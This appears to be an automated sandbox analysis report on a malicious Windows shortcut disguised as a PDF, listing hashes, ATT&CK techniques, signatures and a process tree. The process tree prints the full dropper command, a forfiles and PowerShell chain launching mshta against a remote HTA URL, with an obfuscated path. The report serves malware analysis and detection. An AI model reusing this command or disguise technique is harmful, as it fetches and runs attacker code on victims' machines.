a1d7f4bc74b920f6ea79f7d3ed3ac9c544401605688fc968cc27e1a62b9482f6

Analysis

max time kernel
804s
max time network
429s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
02-11-2024 18:55

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General

Target

Ref_VS650185_28_10_2024.pdf.lnk
Size

1KB
MD5

d53df33a543f82f01cd65a969c026f0c
SHA1

92b8d55b4dccdcdfc076e08dc10e8f878075a4f7
SHA256

a1d7f4bc74b920f6ea79f7d3ed3ac9c544401605688fc968cc27e1a62b9482f6
SHA512

a4b62d3d7d9a1f251c6f2fc1eecec006cd32ed5f206990c84c0f1e3ebb6e86564c5042412c6b329e2a6d44bd2232a89add3db92703e3c779110f83105ea0c49e

Score

10^/10

defense_evasion

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://urban-trek.shop/api/uz/0547131764/Linipute.json

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exe

flow	pid	Process
2	4072	mshta.exe
4	4072	mshta.exe
5	4072	mshta.exe

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

Processes:

forfiles.exe

pid	Process
3096	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
6124	powershell.exe
6124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	6124	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exeforfiles.exepowershell.exe

description	pid	Process	procid_target
PID 5756 wrote to memory of 3096	5756	cmd.exe	81
PID 5756 wrote to memory of 3096	5756	cmd.exe	81
PID 3096 wrote to memory of 6124	3096	forfiles.exe	82
PID 3096 wrote to memory of 6124	3096	forfiles.exe	82
PID 6124 wrote to memory of 4072	6124	powershell.exe	83
PID 6124 wrote to memory of 4072	6124	powershell.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Ref_VS650185_28_10_2024.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5756
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json"
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6124
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://urban-trek.shop/api/uz/0547131764/Linipute.json
      4⤵
      Blocklisted process makes network request
      PID:4072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pt5j453h.rug.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/6124-0-0x00007FF91FE13000-0x00007FF91FE15000-memory.dmp

Filesize
8KB

Download
memory/6124-9-0x00000181B4F30000-0x00000181B4F52000-memory.dmp

Filesize
136KB

Download
memory/6124-10-0x00007FF91FE10000-0x00007FF9208D2000-memory.dmp

Filesize
10.8MB

Download
memory/6124-11-0x00007FF91FE10000-0x00007FF9208D2000-memory.dmp

Filesize
10.8MB

Download
memory/6124-12-0x00007FF91FE10000-0x00007FF9208D2000-memory.dmp

Filesize
10.8MB

Download
memory/6124-16-0x00007FF91FE10000-0x00007FF9208D2000-memory.dmp

Filesize
10.8MB

Download